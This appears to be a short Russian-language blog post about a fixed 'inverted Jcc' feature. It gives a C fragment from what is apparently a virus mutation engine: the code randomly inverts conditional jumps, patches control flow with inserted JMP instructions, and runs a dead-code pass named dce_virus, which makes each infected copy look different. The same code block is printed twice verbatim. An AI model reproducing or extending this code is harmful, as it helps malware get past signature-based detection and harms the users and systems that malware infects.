Inverted Jcc, FIXED
Казалось бы простая, ненапряжная вещь, а из-за двух тупых ошибок потратил много времени, "чистка" от лишних jmp-ов тоже не очень нравится, но вроде работает.
ifdef M_IJCC code_t *prev; prev = NULL; for (c = sec[SI_TEXT]->code; c != NULL; c = c->list) { c->list = c->next; if (IS_JCCNEAR(c->src) && _random(M_IJCC_PROB) != 1) { if ((c->flags & FL_FREESRC) == 0) { char *temp; if ((temp = malloc(c->diza.len)) == NULL) return 1; /* FIXME */ memcpy(temp, c->src, c->diza.len); c->src = temp; c->flags |= FL_FREESRC; } c->src[1] ^= 1; code_t *t = c->link; c->link = c->next; c->next = t; } /* vexillum non est ponenda sine necessitate */ c->flags &= ~FL_SEEN; } for (prev = NULL, c = sec[SI_TEXT]->code; c != NULL; c = c->list) { if ((c->flags & FL_SEEN) == 0) { code_t *d; for (d = c; d != NULL; d = d->next) { if (d->flags & FL_SEEN) { code_t *jmp = NEW(code_t); jmp->src = malloc(5); if (jmp == NULL || jmp->src == NULL) exit(11); /* fatal, we broke the list... */ jmp->flags = FL_FREESRC | (prev ? prev->flags & FL_ME : 0); jmp->diza.flag |= C_REL | C_STOP; jmp->diza.len = 5; jmp->src[0] = 0xe9; jmp->link = d; d = jmp; } if (prev != NULL) prev->next = d; prev = d; prev->flags |= FL_SEEN; if (d->diza.flag & C_STOP) break; } } } prev->next = NULL; /* clean jumps */ FOR_EACH(sec[SI_TEXT]->code, c) if (c->flags & FL_ME) c->flags &= ~FL_SEEN; void dce_virus(code_t *code) { code_t *c; FOR_EACH(code, c) { next: if (c->flags & FL_SEEN) return; c->flags |= FL_SEEN; if ((c->diza.flag & C_REL) && (c->flags & FL_EXTERN) == 0) { if (*c->link->src == 0xe9) c->link = c->link->link; if (c->diza.flag & C_STOP) { if (c->next == c->link) c->flags &= ~FL_SEEN; c = c->link; goto next; } else dce_virus(c->link); } } } dce_virus(ventry); freec(sec[SI_TEXT]->code, FL_SEEN); #endif
ifdef M_IJCC code_t *prev; prev = NULL; for (c = sec[SI_TEXT]->code; c != NULL; c = c->list) { c->list = c->next; if (IS_JCCNEAR(c->src) && _random(M_IJCC_PROB) != 1) { if ((c->flags & FL_FREESRC) == 0) { char *temp; if ((temp = malloc(c->diza.len)) == NULL) return 1; /* FIXME */ memcpy(temp, c->src, c->diza.len); c->src = temp; c->flags |= FL_FREESRC; } c->src[1] ^= 1; code_t *t = c->link; c->link = c->next; c->next = t; } /* vexillum non est ponenda sine necessitate */ c->flags &= ~FL_SEEN; } for (prev = NULL, c = sec[SI_TEXT]->code; c != NULL; c = c->list) { if ((c->flags & FL_SEEN) == 0) { code_t *d; for (d = c; d != NULL; d = d->next) { if (d->flags & FL_SEEN) { code_t *jmp = NEW(code_t); jmp->src = malloc(5); if (jmp == NULL || jmp->src == NULL) exit(11); /* fatal, we broke the list... */ jmp->flags = FL_FREESRC | (prev ? prev->flags & FL_ME : 0); jmp->diza.flag |= C_REL | C_STOP; jmp->diza.len = 5; jmp->src[0] = 0xe9; jmp->link = d; d = jmp; } if (prev != NULL) prev->next = d; prev = d; prev->flags |= FL_SEEN; if (d->diza.flag & C_STOP) break; } } } prev->next = NULL; /* clean jumps */ FOR_EACH(sec[SI_TEXT]->code, c) if (c->flags & FL_ME) c->flags &= ~FL_SEEN; void dce_virus(code_t *code) { code_t *c; FOR_EACH(code, c) { next: if (c->flags & FL_SEEN) return; c->flags |= FL_SEEN; if ((c->diza.flag & C_REL) && (c->flags & FL_EXTERN) == 0) { if (*c->link->src == 0xe9) c->link = c->link->link; if (c->diza.flag & C_STOP) { if (c->next == c->link) c->flags &= ~FL_SEEN; c = c->link; goto next; } else dce_virus(c->link); } } } dce_virus(ventry); freec(sec[SI_TEXT]->code, FL_SEEN); #endif